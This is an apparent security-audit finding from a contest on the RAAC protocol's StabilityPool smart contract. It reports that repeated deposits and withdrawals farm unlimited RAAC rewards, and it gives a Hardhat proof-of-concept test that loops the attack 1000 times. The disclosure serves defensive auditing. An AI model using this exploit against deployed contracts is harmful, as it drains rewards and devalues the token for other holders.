Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Infinite RAAC rewards in StabilityPool contract

Summary

The StabilityPool contract allows users to deposit rToken, receive deToken, and earn RAAC rewards. However, users can continuously deposit and withdraw to farm RAAC rewards without restrictions.

Vulnerability Details

function deposit(uint256 amount) external nonReentrant whenNotPaused validAmount(amount) {
_update();
rToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 deCRVUSDAmount = calculateDeCRVUSDAmount(amount);
deToken.mint(msg.sender, deCRVUSDAmount);
userDeposits[msg.sender] += amount;
_mintRAACRewards();
emit Deposit(msg.sender, amount, deCRVUSDAmount);
}

User deposits rToken to recieve the equivalent in deToken, using the deposit function which also triggers _mintRAACRewards to mint RAAC for the StabilityPool contract

function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}

User uses withdraw function to withdraw their deposited rTokens and RAAC rewards, which are calculated by calculateRaacRewards

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

As we can observe in the above code, there is no cooldown period or time restrictions, this will allow users to:

  • Deposit 1000 rTokens.

  • Withdraw 1000 rTokens + RAAC.

  • Redeposit the 1000 rTokens

  • Rewithdraw 1000 rTokens + RAAC

  • Repeat indefinitly

Add this test to StabilityPool.test.js

describe("Infinite rewards", function() {
it("should allow users to claim infinite rewards", async function() {
const initialRAAC = await raacToken.balanceOf(user1.address);
const initialRToken = await rToken.balanceOf(user1.address);
console.log("INITIAL BALANCE")
console.log("rTokens:", initialRToken.toString());
console.log("raacTokens:", initialRAAC.toString());
for (var i = 1; i <=1000; i++) {
await stabilityPool.connect(user1).deposit(ethers.parseEther("1"));
await stabilityPool.connect(user1).withdraw(ethers.parseEther("1"));
}
const finalRAAC = await raacToken.balanceOf(user1.address);
const finalRToken = await rToken.balanceOf(user1.address);
console.log("FINAl BALANCE");
console.log("rTokens:", finalRToken.toString());
console.log("raacTokens:", finalRAAC.toString());
expect(finalRToken).to.equal(initialRToken);
expect(finalRAAC).to.be.gt(initialRAAC);
})
})

Impact

RAAC inflation and token devaluation

Tools Used

Manual review

Recommendations

Consider adding time restriction for RAAC rewards

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.